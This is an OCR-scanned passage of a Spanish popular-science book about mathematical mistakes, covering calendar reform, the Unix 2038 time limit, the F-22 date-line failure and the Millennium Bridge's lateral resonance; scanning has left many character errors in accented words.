al 2 de septiembre de 1752 le siguid el 14 de septiembre de 1752. A pesar de lo que el lector
pueda leer en internet, nadie se quejo por haber perdido once dias de sus vidas y nadie se paseo
con una pancarta que dijera: «Devolvednos nuestros once dias». Estoy seguro de una cosa: visité
la Biblioteca Britanica en Londres, la cual alberga una copia de cada periddico publicado en
Inglaterra, y busqué articulos de la época. No aparecia en ellos queja alguna, solo anuncios en los
que se vendian calendarios nuevos. Los fabricantes de calendarios estaban viviendo su época
dorada.



El mito de que la gente protestd contra el cambio de calendario parece proceder de debates
politicos antes de las elecciones de 1754. El partido de la oposicion ataco todas las medidas que
habia adoptado el otro partido durante su mandato, incluyendo el cambio de calendario y el hecho
de haberles robado once dias. Este suceso fue inmortalizado en La camparia electoral, una serie
de pinturas al 6leo de William Hogarth. Los tnicos que manifestaron alguna preocupacion fueron
personas que no querian pagar unos impuestos anuales para un afio de 365 dias que en realidad
tuvo menos. Una queja legitima, sin duda.

Rusia no cambi6 de calendario hasta 1918, afio cuyo mes de febrero empezo el dia 14 en
lugar del 1 para asi reajustarse con todos los demas que utilizaban el calendario gregoriano. Este
hecho debi6 de pillar a mas de uno por sorpresa. Imagine que se despierta pensando que le quedan
dos semanas para San Valentin y resulta que ese dia ya ha llegado. Este nuevo calendario significa
que los rusos habrian llegado a tiempo a las Olimpiadas de 1920, si hubieran sido invitados, pero
en ese espacio de tiempo, Rusia se habia convertido en la Rusia Soviética y no fue invitada por
razones politicas. A los siguientes Juegos Olimpicos si que acudieron los deportistas rusos. Se
celebraron en 1952 en Helsinki, donde por fin consiguieron una medalla de oro en tiro.

A pesar de todas estas mejoras, nuestro calendario gregoriano actual sigue sin ser perfecto.
Una media de 365,2425 dias por ano es aceptable, pero no es exactamente 365,2421875.
Seguimos desincronizados veintisiete segundos por afo. Esto significa que nuestro calendario
gregoriano actual se habra alejado un dia entero cada 3.213 afos. Las estaciones aun se invertiran
una vez cada medio millon de afios. Y el lector se alarmara al saber que... jtodavia no existe
ningiin plan para arreglar este desvio!

De hecho, con escalas de tiempo tan largas, tenemos otros problemas de los que
preocuparnos. A medida que el eje de rotacion de la Tierra se va moviendo, la trayectoria orbital
de la Tierra también se modifica. La trayectoria que sigue es una elipse, y los puntos mas cercano
y lejano dan una vuelta alrededor del sistema solar aproximadamente una vez cada 112.000 afios.
Pero, incluso entonces, el tiron gravitacional de otros planetas puede cambiarlo. El sistema solar
es un auténtico lio.

Pero la astronomia le dio a Julio César una ultima alegria. La unidad de afo luz, es decir, la
distancia que recorre la luz en un afio (en el vacio), se especifica utilizando el afio juliano de
365,25 dias. Por lo que se puede decir que medimos nuestro cosmos actual utilizando una unidad
definida en parte por un antiguo romano.

El dia en el que el tiempo se detendra

A las 3.14 h del martes 19 de enero de 2038, una gran parte de nuestros modernos
microprocesadores y ordenadores dejard de funcionar. Y eso serda debido al modo en el que
almacenan el tiempo y la fecha. Los ordenadores personales ya tienen bastantes problemas
haciendo un seguimiento de cuantos segundos han pasado mientras estan encendidos; las cosas
empeoran cuando también necesitan mantenerse al dia con la fecha. El control del tiempo les ha
supuesto a los ordenadores los mismos problemas que suponia mantener sincronizado un
calendario con el planeta, con el afiadido de las limitaciones modernas de la codificacion binaria.



Cuando los primeros precursores del internet moderno empezaron a estar disponibles a
principios de la década de 1970, era necesario disponer de un sistema de control del tiempo que
fuera consistente. El Instituto de Ingenieria Eléctrica y Electronica cre6 un comité de especialistas
y, en 1971, sugirieron que todos los sistemas informaticos podrian contar las fracciones
sexagesimales de un segundo a partir del inicio de 1971. La energia eléctrica que alimentaba a los
ordenadores ya llegaba a una frecuencia de 60 hercios, por lo que se simplificaban las cosas al
utilizar esta frecuencia dentro del sistema. Muy astutos. Excepto que un sistema basado en 60
hercios sobrepasaria el espacio disponible en un nimero binario de 32 digitos en poco mas de dos
afios y tres meses. Ya no parece una medida tan inteligente.

Por lo que el sistema se recalibrd para contar el nimero de segundos enteros desde el inicio
de 1970. Este nimero se almacend como numero binario signado de 32 digitos, lo que permitia un
maximo de 2.147.483.647 segundos: un total de mas de sesenta y ocho afios contando desde 1970.
Y esto lo decidieron asi miembros de la generacion que en esos sesenta y ocho afios previos a
1970 habian visto a la humanidad avanzar desde la invencién de la primera aeronave propulsada
de los hermanos Wright a humanos bailando sobre la superficie de la Luna. Estaban convencidos
de que en el afio 2038 los ordenadores no se parecerian en nada a los de su época y ya no
utilizarian el tiempo Unix.

Y, sin embargo, aqui estamos. Hemos recorrido mas de la mitad de ese camino y seguimos
con el mismo sistema. El reloj estd haciendo tictac (literalmente).

Sin duda, los ordenadores han cambiado tanto que no se parecen en nada a los de esa época,
pero en sus entrafias se sigue utilizando el tiempo Unix. Si el lector esta utilizando cualquier
variante de dispositivo Linux o un Mac, alli est4, en la mitad inferior del sistema operativo, justo
debajo de la GUL Si tiene un Mac a su alcance, abra la aplicacion Terminal, que es el acceso al
funcionamiento real de su ordenador. Escriba date +%s y pulse intro. Justo enfrente de usted
aparece el numero de segundos que han pasado desde el 1 de enero de 1970.

Si esta leyendo esto antes del miércoles 18 de mayo de 2033, aun no ha llegado a los 2
millardos de segundos. Menuda fiesta serd. Por desgracia, en mi zona horaria, seran mas o menos
las 4.30 h. Recuerdo la noche de juerga que pasé el 13 de febrero de 2009 junto a algunos
compafieros, para celebrar que habiamos llegado al segundo 1.234.567.890, justo después de las
23.31 h. Jon, mi amigo programador, habia escrito un programa que nos daba la cuenta atrés
exacta; todos los demas clientes del bar estaban muy confundidos al pensar que estdbamos
celebrando el dia de San Valentin una hora y media antes de lo que tocaba.

Celebraciones aparte, ahora hemos sobrepasado de sobra la mitad de la cuenta atras que nos
conducird a la destruccion. Después de 2.147.483.647 segundos, todo se detendrd. Microsoft
Windows tiene su propio sistema para controlar el tiempo, pero MacOS estd desarrollado
directamente sobre Unix. Y mas importante aun, muchos procesadores informaticos importantes
que se utilizan en un montén de dispositivos, desde servidores de internet hasta lavadoras, estan
funcionando utilizando algun descendiente de Unix. Son vulnerables al efecto 2038.

No culpo a las personas que pusieron en marcha el tiempo Unix. Estaban trabajando con
aquello que tenian a su disposicion en aquella época. Los ingenieros de la década de 1970
pensaron que los que vendrian después de ellos arreglarian los problemas que ellos estaban
causando (tipico de los baby-boomers). Y, para ser justos, sesenta y ocho afios son muchos afios.
La primera edicién de este libro se publicé en 2019, y en algunos momentos pienso que he de



mencionarlo para aquellos que lo lean en el futuro. Puede que incluya frases como «en el momento
en el que escribo esto» o que estructure cuidadosamente el lenguaje para que este deje abierta la
posibilidad de que las cosas cambien y progresen en el futuro para que asi el libro no quede
completamente desfasado. Puede que usted esté leyendo esto después de alcanzar los 2 millardos
de segundos en el ano 2033; lo tengo en cuenta.

Ya se han dado algunos pasos para encontrar una solucion. Todos los procesadores que
utilizan nimeros binarios de 32 digitos son conocidos por defecto como sistemas de 32 bits.
Cuando alguien se compra un portatil, puede que se pare a comprobar cual es su arquitectura, pero
los Mac llevan utilizando un sistema de 64 bits desde hace casi una década y la mayoria de los
servidores informaticos también se han pasado a 64 bits. Resulta molesto que algunos sistemas de
64 bits sigan controlando el tiempo como un niumero signado de 32 bits, por lo que todavia pueden
jugar con sus amigos ordenadores antiguos, pero, en la mayoria de los casos, si compramos un
sistema de 64 bits serd capaz de controlar el paso del tiempo durante bastante mas tiempo.

El valor mas grande que podemos almacenar en un nimero signado de 64 bits es
9.223.372.036.854.775.807, y ese nimero de segundos equivale a 292,3 millardos de afios. Es en
momentos como este que la edad del universo pasa a ser una unidad de medida util: el tiempo
Unix de 64 bits durard 21 veces la edad actual del universo desde ahora. Hasta, y suponiendo que
por entonces no utilicemos otra actualizacion, el 4 de diciembre del afio 292277026596 e. c. todos
los ordenadores dejardn de funcionar. Sera un domingo.

Una vez que vivamos en un mundo que sea completamente de 64 bits, podremos decir que
estamos a salvo. La pregunta es: jactualizaremos la infinidad de microprocesadores presentes en
nuestras vidas antes del 2038? Necesitamos, o nuevos procesadores o un parche que fuerce a los
antiguos a utilizar un nimero inusualmente grande para almacenar el tiempo.

Esta es una lista de todos los aparatos a los que les he tenido que actualizar su software
recientemente: lamparas, un televisor, el termostato de mi casa y el reproductor multimedia que se
enchufa a mi televisor. Estoy bastante seguro de que todos ellos son sistemas de 32 bits. ;Se
actualizaran a tiempo? Dada mi obsesion con tener el firmware al dia, seguro que si. Pero habra
un montén de sistemas que no se actualizaran. También hay procesadores en mi lavadora,
lavaplatos y en el coche, y no tengo ni idea de como actualizarlos.

Es facil hablar de esto como si se tratase de una segunda llegada del efecto 2000, el efecto
del milenio que nunca llegd a ocurrir. Ese era un caso de software de mas alto nivel que
almacenaba el afio como un numero de dos digitos que dejaria de funcionar después de llegar a
99. Gracia al esfuerzo de mucha gente, practicamente todos los dispositivos fueron actualizados.
Pero el hecho de haber evitado un desastre no significa que este no haya sido una seria amenaza.
Es un riesgo bajar los brazos porque el efecto 2000 se haya llevado tan bien. El efecto 2038
requerira actualizar codigos informaticos mucho mas fundamentales y, en algunos casos, los
propios ordenadores.

Véalo usted mismo




Si quiere ver como funciona el efecto 2038, busque un iPhone. Puede que lo que voy a explicar funcione en
otros moviles, o puede que un dia actualicen el iPhone para arreglar este problema. Pero, de momento, el
crondémetro incorporado aprovecha el reloj interno y guarda su valor como un numero signado de 32 bits. La
dependencia del reloj provoca que, si pone el crondometro en marcha y luego modifica la hora hacia atras, el
tiempo transcurrido en el crondmetro saltara stibitamente hacia delante. Modificando la hora y la fecha
adelante y atras en su teléfono, usted puede incrementar el tiempo del cronémetro a un ritmo alarmante.
Hasta que alcance el limite de 64 bits y se cuelgue.

Fechas y F-22

(Cuan dificil puede resultar saber qué fecha es hoy? ;O sera? Puedo afirmar con seguridad que el
tiempo Unix de 64 bits funcionard el 4 de diciembre del 292.277.026.596 e. c. porque el
calendario gregoriano es muy predecible. A corto plazo, es muy ficil y cubre un ciclo cada pocos
afnos. Permitiendo los dos tipos de afios (bisiesto y normal) y los siete dias posibles en los que
puede empezar un afo, existen tan solo catorce calendarios posibles. Cuando fui a comprar un
calendario de 2019 (afio no bisiesto que comienza en martes), sabia que era el mismo que el del
afio 2013, por lo que podia comprar uno de ese afio a un precio rebajado, pero, por su atractivo
retro, me quedé con uno de 1985.

Si le importa la secuencia de afios, el calendario gregoriano completa un ciclo completo cada
cuatrocientos afnos después de haber pasado por todos los afios bisiestos posibles. Por lo que el
dia de hoy es exactamente el mismo dia que hace cuatrocientos afios. El lector podria pensar que
es facil de programar en un ordenador. Y lo es, si el ordenador se queda quietecito. Pero si este se
desplaza, las cosas se complican.

Error que se puede encontrar en internet

iiiBUENA SUERTE A TODOS!!! Este afo, diciembre tiene 5 lunes, 5 sabados y 5 domingos. Esto
ocurre una vez cada 823 afios. Eso se llama bolsa de dinero. Asi que compartalo y el dinero le
llegara en 4 dias. Basado en el Feng Shui chino. Aquel que no lo comparta se quedara sin dinero.
Compartalo en menos de 11 minutos después de leerlo. No hace dafio a nadie, asi que yo lo hice.
SOLO POR DIVERSION.

Este es uno de los memes habituales de internet que afirman que algo sucede solo cada 823 afios. No tengo
ni idea de donde han sacado el niimero 823. Pero, por alguna razon, internet esta plagado de afirmaciones
que aseguran que el afio actual es especial y que lo que hace que lo sea no se repetira hasta dentro de 823
afios.

Ahora puede responder tranquilamente y decir que en el calendario gregoriano nada puede suceder con
una frecuencia menor que una vez cada cuatrocientos afios. SOLO POR DIVERSION.

Y, dado que un mes solo puede tener cuatro posibles duraciones y puede empezar en siete dias
diferentes, existen realmente solo veintiocho disposiciones posibles para los dias de un mes. Cosas como
estas si que pasan solo cada pocos aflos. (Y no es algo que esté basado en el Feng Shui chino.)




En diciembre de 2005, entr6 en servicio el primer avion de combate F-22 Raptor. Citando a
las Fuerzas Aéreas de Estados Unidos (USAF por sus siglas en inglés), «el F-22 es un avion de
combate multimisiéon Unico que combina sigilo, supercrucero, maniobrabilidad avanzada y
avionica integrada que lo convierten en el avion de combate mas capaz del mundo». Pero, para ser
justos, esto lo extraje de la presentacion del presupuesto del F-22 con el que las fuerzas aéreas
estaban intentando justificar su gasto. La USAF hizo nimeros y calcul6 que, en 2009, el coste de
cada F-22 era de 150.389.000 dolares.

Es cierto que el F-22 se caracterizaba por tener avionica integrada. En los aviones antiguos,
el piloto estaba pilotando fisicamente el avion con controles que utilizaban cables para levantar y
bajar alerones, y asi con todo. No era el caso del F-22. Todo se hace a través de un ordenador.
(Coémo, si no, puedes conseguir una maniobrabilidad avanzada y habilidad en el combate? Los
ordenadores son el camino a seguir. Pero, al igual que ocurre con los aviones, los ordenadores son
buenos y bonitos hasta que se estrellan.

En febrero de 2007, seis F-22 estaban volando de Japon a Hawai cuando todos sus sistemas
dejaron de funcionar de repente. Todos los sistemas de navegacion estaban desconectados, los
sistemas que informaban de la cantidad que quedaba de combustible dejaron de funcionar y lo
mismo le ocurrié a una parte de los sistemas de comunicacion. No fue debido al ataque de un
enemigo o a un astuto sabotaje. Simplemente, el avion habia sobrevolado la linea internacional del
cambio de fecha.

A todo el mundo le gusta que el mediodia sea cuando el sol cae directamente sobre sus
cabezas: el momento en el que una parte de la Tierra estd sefialando directamente al Sol. La Tierra
gira hacia el este, por lo que, cuando es mediodia para nosotros, todo el mundo situado al este ya
ha pasado su mediodia (y ahora ya ha sobrepasado al Sol), mientras que todos aquellos situados
mas al oeste de nuestra posicidon estdn esperando su turno para llegar al sol del mediodia. Esta es
la razon por la que, si nos movemos hacia el este, cada zona horaria aumenta mas o menos en una
hora.

Pero, finalmente, eso tiene que parar; no puedes seguir desplazandote en el tiempo de forma
constante mientras viajas hacia el este. Si, por arte de magia, pudiéramos dar la vuelta al planeta a
una velocidad superrapida, no volveriamos al punto en el que empezamos y descubririamos que es
un dia completo en el futuro. En algin punto hay que encontrarse con el final de un dia, bien, del
dia de ayer. Al pasar sobre la linea internacional del cambio de fecha, retrocedes (o adelantas) un
dia completo en el calendario.

Si le resulta dificil de entender, no se preocupe, no es el Unico. La linea internacional del
cambio de fecha provoca toda clase de confusiones, y quien fuera el que programo el F-22 debid
de suftir lo suyo para solucionarlo. Las Fuerzas Aéreas de Estados Unidos no han confirmado qué
es lo que provoco ese fallo (solo que lo arreglaron en un plazo maximo de 48 horas), pero parece
ser que el tiempo saltd repentinamente un dia y el avion se «asusto» y decidid que apagarlo todo
era lo mejor que se podia hacer. Los intentos en pleno vuelo no tuvieron éxito, por lo que, aunque
los aviones todavia podian volar, los pilotos no podian pilotarlos. Los aviones tuvieron que
volver a casa con dificultades siguiendo a su avioén de reabastecimiento.

Ya se trate de un avion de combate moderno o de un gobernante de la antigua Roma: mas
tarde o mas temprano, el tiempo nos alcanza a todos.




Calend-obvio

El programador Nick Day me envio un correo electronico cuando se percaté de que el calendario de los
dispositivos i0S parecia que fallaba en 1847. De repente, febrero tenia 31 dias. Y enero 28. Julio es
extrafiamente variable; diciembre habia desaparecido por completo. Para los afios anteriores a 1848, los
encabezados de los afios habian desaparecido. Si el lector abre el calendario por defecto de un iPhone en
«vista anualy, solo necesita un par de segundos deslizando frenéticamente el dedo hacia abajo para ver esto.
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Pero (por qué 1847? Hasta donde yo s€, Nick fue la primera persona en darse cuenta de esto, y no pude
encontrar ninguna relacion obvia entre el tiempo Unix y los numeros de 32 y 64 bits. Pero tenemos una
hipotesis de trabajo...

Apple tiene mas de un tiempo disponible a su disposicion y en ocasiones utiliza el tipo de datos
CFAbsoluteTime, es decir, el nimero de segundos pasados desde el 1 de enero de 2001. Y si un dato de tipo
CFAbsoluteTime se almacena como niimero de 64 bits signado dedicando algunos de los digitos a los
decimales (un valor en coma flotante de doble precision), quedarian tan solo 52 bits de espacio para el
numero entero de segundos.

El nimero mas grande que se puede expresar como numero binario de 52 bits es
4.503.599.627.370.495, y si contamos hacia atras todos esos microsegundos (en lugar de segundos) desde
el 1 de enero de 2001, acabamos el viernes 16 de abril de 1858..., que podria ser la razon por la que se




estropea mas o menos en esa fecha... tal vez. jBueno, es lo mejor que se nos ha ocurrido!
Si cualquier ingeniero de Apple nos puede proporcionar una respuesta definitiva, por favor que se ponga
en contacto con nosotros.




Dos

ERRORES EN INGENIERIA

No es necesario que un edificio se caiga para que cuente como error de ingenieria. La
construccion del edificio situado en el nimero 20 de la calle Fenchurch de Londres estaba a punto
de finalizar en 2013 cuando se hizo evidente un importante fallo de disefio. No tenia nada que ver
con la integridad estructural del edificio; se acabo en 2014 y, a dia de hoy, es un edificio que
funciona perfectamente, y fue vendido en 2017 por una cifra récord: 1.300 millones de libras.
Desde todos los puntos de vista es todo un éxito. Excepto porque, durante el verano de 2013, el
ambiente empezod a caldearse.

El exterior del edificio fue disefiado por el arquitecto Rafael Vifoly para que tuviera una
curva muy marcada, pero esto implico que todos los reflejos de las ventanas de cristal se
convirtieron accidentalmente en un espejo concavo enorme: una especie de lente gigante en el
cielo capaz de concentrar la luz del sol en un area diminuta. No siempre hace sol en Londres, pero
en un dia bien despejado del verano de 2013, en el que el sol daba de lleno sobre las ventanas
recién acabadas, un rayo calcinador letal atravesé Londres.

De acuerdo, no era algo tan malo. Pero estaba generando temperaturas de alrededor de 90 °C,
suficientes para chamuscar el felpudo de una peluqueria cercana. Un coche aparcado se derriti6 un
poco y alguien aseguré que le quemo su limon (no se trata de jerga londinense; se trataba de un
limon real). Un periodista local con un don para el drama, aprovecho la oportunidad para freir
algunos huevos colocando la sartén en el punto mas caliente.

Aunque habia una solucidn bastante sencilla: se afiadi6 una visera al edificio para bloquear
los rayos del sol antes de que se pudieran concentrar sobre el limén de alguien. Y no es que esta
extrafa alineacion de superficies reflectoras se pudiera haber pronosticado. Nunca habia ocurrido
algo asi con un edificio. Al menos, no desde que ocurrié lo mismo en el hotel Vdara de Las Vegas,
en 2010. La fachada curva de cristal del hotel concentraba los rayos del sol y quem¢ la piel de los
huéspedes que descansaban en la piscina.

Pero ;podemos dar por sentado de manera razonable que el arquitecto del edificio situado en
el 20 de la calle Fenchurch sabia algo de lo que ocurri6 en un lejano hotel de Las Vegas? Bueno,
el hotel Vdara también fue disefiado por Rafael Vifioly, por lo que es logico esperar que alguna
informacion fluyd entre ambos proyectos. Todo lo que sabemos es que Vifoly fue contratado
especificamente porque los propietarios querian un edificio con una fachada curva y reluciente.

Incluso aunque no hubiera pasado algo similar con un edificio anterior, las matematicas que
tienen que ver con el enfoque de los rayos de luz son bastante accesibles. La forma de una
pardbola, esa curva omnipresente que aparecia siempre que teniamos que trazar una grafica de



cualquier formula del tipo y=x2 en la escuela, concentrara todos los rayos de luz paralelos que le
lleguen sobre un tnico punto focal. Las antenas parabodlicas tienen forma de parabola por esta
razon; o se puede decir mas bien que son paraboloides, una clase de parabola 3D.

Si la luz no estd muy bien alineada, una forma lo bastante parabdlica ain puede dirigir la
suficiente cantidad de luz sobre una region lo suficientemente pequefia para que se note. Existe una
escultura en Nottingham, el Sky Mirror, que es una forma brillante, paraboloide, y una leyenda
local asegura que ha quemado a algunas palomas que pasaba por alli. (Spoiler: probablemente no
es cierto.)

Puentes sobre matematicas turbulentas

Cuando nos fijamos en la relacion de la humanidad con los desastres de la ingenieria, los puentes
son el ejemplo perfecto. Llevamos milenios construyéndolos, y no es tan sencillo como construir
una casa o un muro. Hay muchos mas errores potenciales, y estan, por definicion, flotando en el
aire. En el lado positivo, podemos decir que causan un enorme impacto en las vidas de las
personas que viven en las cercanias, uniendo comunidades que sin ellos estarian separadas. Con
tales beneficios potenciales, los humanos siempre han intentado ir mas alla del limite de lo que es
posible hacer con los puentes.

Hay muchos ejemplos modernos de puentes que han fallado. Uno famoso fue el Puente del
Milenio de Londres, que fue inaugurado en el afio 2000 y tuvo que ser cerrado solo dos dias
después. Los ingenieros se habian equivocado al no darse cuenta con sus calculos que la gente que
caminara sobre ¢l provocaria que se balanceara. Con el objetivo de que el puente tuviera un perfil
muy bajo, el puente se habia construido suspendido por los lados, con los soportes junto a la
plataforma y en algunos casos por debajo de ella.

La mayoria de los puentes colgantes tienen cables de carga de acero que cuelgan desde arriba
de la zona util del puente. Dado que se estuvo buscando siempre un perfil bajo, los cables de
acero del Puente del Milenio solo descienden 2,3 metros. Asi, en lugar de estar suspendido de una
cuerda, como alguien que desciende de un risco haciendo rapel, las cuerdas se colocaron tensadas
y practicamente rectas, sujetando el puente, funcionando en la practica mas como una cuerda floja.
Las cuerdas de acero tienen que estar muy tensadas: los cables soportaban una fuerza de tension
de unas 2.000 toneladas.

De manera similar a una cuerda de guitarra, cuanta mas tension hay en un puente, mas facil es
que vibre ante frecuencias mas altas. Si bajamos gradualmente la tension sobre una cuerda de
guitarra, la nota que produce es mas baja, hasta que la cuerda estd tan floja que ya no produce
ninguna nota. El Puente del Milenio se ajustd involuntariamente a mas o menos 1 hercio. Pero no
en la direccion vertical habitual; se tambaleaba de lado a lado.

Hasta el dia de hoy, el Puente del Milenio es conocido por los londinenses como el puente
tambaleante. En Londres, a los edificios importantes se les suele poner un apodo. Para dirigirte a
The Onion («la cebolla») es posible que tengas que pasar por The Gherkin («el pepinillo») y girar
a la izquierda del Cheese Grater («el rayador de queso»). (Si, todos son apodos de edificios.) El
namero 20 de la calle Fenchurch era el Walkie Talkie, hasta que todo el mundo cambi6 por
unanimidad a The Walkie Scorchie («el walkie abrasador»). El Puente del Milenio sigue siendo el
puente tambaleante, incluso a pesar de que solo se tambale6 durante dos dias.



Pero me encanta la forma en la que los apodos captan la idea. No es el puente eléstico,
aunque seria un nombre pegadizo. Es el puente tambaleante. El puente no se movi6 arriba y abajo
como una goma elastica; sino que, inesperadamente, se balanced de lado a lado. Los ingenieros
tienen mucha experiencia a la hora de impedir que los puentes oscilen arriba y abajo, y todos los
calculos respecto al movimiento vertical fueron muy acertados. Pero los ingenieros que disefiaron
el Puente del Milenio subestimaron la importancia del movimiento lateral.

La descripcion oficial del problema fue «excitacion lateral sincronica» causada por los
peatones. Fue la gente que pasaba andando por el puente la que provoco su tambaleo. Que algo tan
grande como el Puente del Milenio pueda empezar a tambalearse debido a la fuerza bruta es un
reto casi imposible para un grupo de transeuntes. Excepto que este puente fue afinado
involuntariamente para que fuera facil. La mayoria de las personas caminan a una velocidad de
unos dos pasos por segundo, lo que significa que sus cuerpos se balancean de lado a lado una vez
por segundo. Un humano caminando es, a todos los efectos, una masa que vibra a una frecuencia
de 1 hercio, que era el ritmo perfecto para hacer que el puente se tambalease. Coincidia con una
de las frecuencias de resonancia del puente.

Los resonadores van a resonar

Si algo esta en resonancia con nosotros significa que estamos conectados con esa cosa; estamos
«en sintonia». Este uso figurativo de «resonar» aparecio a finales de la década de 1970 y ha
seguido siendo sorprendentemente acorde al uso literal de «resonar» de un siglo atras. A partir de
la palabra en latin resonare, que mas o menos significa «eco» o «retumbary, en el siglo xix la
palabra «resonancia» se convirtid en un término cientifico para describir las vibraciones
contagiosas.

El péndulo sirve como analogia de lo que es una resonancia, cuyo movimiento se describe
muchas veces como el de un nifio en un columpio. Si al lector le toca empujar al nifio en cuestion y
simplemente extiende sus brazos a intervalos aleatorios, la cosa no ird muy bien; golpeara al nifio
cuando este se dirija hacia usted y lo ralentizara tantas veces como le dé un empujén cuando se
aleje, acelerandolo en consecuencia. Incluso un empuje a un ritmo regular que no se sincronice
con el movimiento del columpio haré que la mayoria de las veces le dé un empujon al aire.

Solo tendra éxito si empuja al ritmo exacto que encaje con el momento en el que el nifio esta
directamente frente a usted y empieza su descenso. Cuando la sincronizacion de su esfuerzo encaje
con la frecuencia a la que se mueve el columpio, cada empuje afiadira un poquito mas de energia
al sistema. Seguira incrementdndose con cada empujon hasta que el nifio se mueva demasiado
rapido para inhalar con facilidad y finalmente dejara de gritar.

En un instrumento musical, la resonancia es esto mismo, aunque a una escala mucho menor:
utilizan la forma en la que una cuerda de una guitarra, una pieza de madera o incluso aire en el
interior de un contenedor vibra miles de veces por segundo. Tocar la trompeta implica apretar los
labios y luego lanzar una disonancia de frecuencias desordenadas. Pero solo aquellas que encajan
con las frecuencias de resonancia de la cavidad del interior de la trompeta creceran hasta alcanzar
niveles perceptibles. Al cambiar la forma de la trompeta (mediante las palancas y valvulas
adecuadas) se cambia la frecuencia de resonancia de la cavidad y se amplifica una nota diferente.



Es lo mismo que ocurre en el interior de cualquier receptor de radio (incluyendo también las
tarjetas de crédito sin contacto). La antena recibe un montoén de frecuencias electromagnéticas
diferentes procedentes de sefiales de television, redes wifi e incluso de alguien que esté
recalentando las sobras en el microondas. La antena se conecta a un resonador electronico
compuesto por condensadores y bobinas de alambre que sintoniza perfectamente la frecuencia
especifica deseada.

Aunque la resonancia es algo genial en algunas situaciones, los ingenieros a veces tienen que
esforzarse mucho para evitarla tanto en maquinas como en edificios. Una lavadora es
increiblemente molesta durante ese breve momento en el que la frecuencia de giro esta en armonia
con la resonancia del resto de la maquina: cobra vida por si misma y decide darse un paseo.

La resonancia también puede afectar a los edificios. En julio de 2011 un centro comercial de
treinta y nueve pisos de altura en Corea del Sur tuvo que ser evacuado porque la resonancia estaba
haciendo vibrar el edificio. La gente que estaba en la ultima planta notd que este empezaba a
temblar, como si alguien hubiera tocado el bajo y subido el volumen al triple. Y ese era
exactamente el problema. Después de que la investigacion oficial descartara que hubiera sido un
terremoto, descubrieron que el culpable fue una clase de gimnasia del piso doce.

El 5 de julio habian decidido ejercitarse con «The Power», de Snap, y todos saltaron con
mas fuerza de la habitual. ;Pudo el ritmo de «The Power» entrar en sincronia con una frecuencia
de resonancia del edificio? Durante la investigacion, se metieron de nuevo unas veinte personas en
la misma habitacion para recrear la clase de gimnasia y, en efecto, como dice la cancion, tuvieron
la energia necesaria (The Power). Cuando pusieron la cancidn, el piso treinta y ocho empezd a
temblar diez veces mas de lo habitual.

Temblores en un plano

La frecuencia de resonancia de un hercio del Puente del Milenio solo producia oscilaciones en
una direccion especifica: de lado a lado. La gente atravesando el puente en ambas direcciones no
deberia ser un problema; incluso el movimiento lateral hacia delante y hacia atrds de un hercio
producido por los peatones no deberia haber sido un problema, ya que lo normal es que todo el
mundo camine de forma no sincronizada. Cada vez que alguno de ellos diera un paso con su pie
derecho, seguro que otra persona estaria dandolo al mismo tiempo con el izquierdo y todas las
fuerzas se cancelarian entre si. Esta resonancia lateral solo seria un problema si un nimero
suficiente de personas caminara de forma perfectamente sincronizada.

Ese es el origen de la sincronia en la «excitacion lateral sincronica» de los peatones. En el
Puente del Milenio, la gente empez6 a caminar de forma sincronizada, porque el movimiento del
puente influyd en el ritmo en el que estaban caminando. Esto provoco un ciclo de
retroalimentacion; la gente que caminaba de forma sincronizada provocaba que el puente se
moviera mas, y el hecho de que el puente se moviera hacia que la gente caminara de forma
sincronizada. Viendo una grabacion de video realizada en junio de 2000 nos da la impresion de
que un 20 % de los peatones camina de forma sincronizada, mas que suficiente para producir la
frecuencia de resonancia y hacer que el centro del puente se balancease unos 7,5 centimetros en
cada direccion.



Arreglarlo supuso dos costosos afios de acondicionamiento, tiempo durante el cual el puente
se cerro al publico. Eliminar el temblor cost6 5 millones de libras, ademas del coste original de
18 millones. Una parte de la dificultad fue romper ese ciclo de retroalimentacion peaton-puente
sin cambiar la estética del puente. Escondidos debajo de la acera y alrededor de la estructura hay
treinta y siete «amortiguadores viscosos lineales» (tanques que contienen un liquido viscoso con
un pistobn que se mueve en su interior) y unos cincuenta «amortiguadores dinamicos de masas
sintonizadas» (péndulos en el interior de una caja). Estan disefiados para eliminar energia del
movimiento del puente y amortiguar el ciclo de retroalimentacion de la resonancia.

Y funciona. Al principio, el movimiento lateral del puente tenia un indice de amortiguacion
por debajo del 1 % para frecuencias de resonancia por debajo de 1,5 hercios. Actualmente la
amortiguacion esta entre el 15 y el 20 %. Esto significa que se retira la suficiente energia del
sistema para cortar el ciclo de retroalimentacion de raiz. Incluso amortigua las frecuencias
superiores a 3 hercios entre un 5 y un 10 %; supongo que eso seria en el caso de que un montédn de
gente decidiera pasar corriendo por el puente de forma simultanea y sincrona. Cuando se reabrio,
el Puente del Milenio fue descrito como «probablemente, la estructura con la amortiguacion
pasiva mas compleja del mundo». Una etiqueta que a la mayoria de nosotros no nos gustaria que
nos adjudicaran.

Asi es como progresa la ingenieria. Antes de lo del Puente del Milenio, las matematicas de la
«excitacion lateral sincronica» ocasionada por los peatones no se conocian mucho. Una vez
arreglado el puente, es una parcela en la que se ha investigado mucho. Ademas de estudiar las
grabaciones desde que se abri6é de nuevo, se hicieron pruebas con un dispositivo automatico de
agitacion colocado en el puente. Y grupos de voluntarios caminaron hacia atrds y hacia delante por
él.

En una prueba, se hizo caminar sobre el puente cada vez a mas gente de forma progresiva y
se midi6 cualquier ligero temblor. Més abajo se puede ver un grafico en el que se representa el
grupo cada vez mayor de transeuntes y la aceleracion lateral del puente. Cuando eran ya 166
peatones se alcanzd la masa critica, muy por debajo de los aproximadamente 700 que habia sobre
el puente cuando este se inaugurd. No es el mejor grafico cientifico de la historia: me pregunto
cual serd la unidad de la «aceleracion de la pasarela». Y mi parte favorita del grafico es que,
dado que representa peatones y aceleracion al mismo tiempo, el eje permite que haya un nimero
negativo de peatones sobre el puente. O, técnicamente, peatones que se mueven hacia atras en el
tiempo. Lo cual, si alguna vez se ha visto atascado detras de un grupo de turistas que deambulan
por Londres, sabra que es realmente posible.
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Antes del incidente del Puente del Milenio ya habia algunas sefiales que indicaban que los
peatones sincronizados podian hacer que un puente se sacudiera lateralmente. En 1993, se realizo
una investigacion sobre un puente peatonal que se tambaleaba lateralmente cuando lo cruzaban al
mismo tiempo dos mil personas. Antes de eso, en 1972, se investigd un puente de Alemania que
mostraba problemas similares cuando entre trescientas y cuatrocientas personas caminaban sobre
¢l a la vez. Pero nada de esto habia hecho que se modificasen las regulaciones en cuanto a la
construccion de puentes. Todo el mundo estaba obsesionado con las vibraciones verticales.

Arriba y abajo

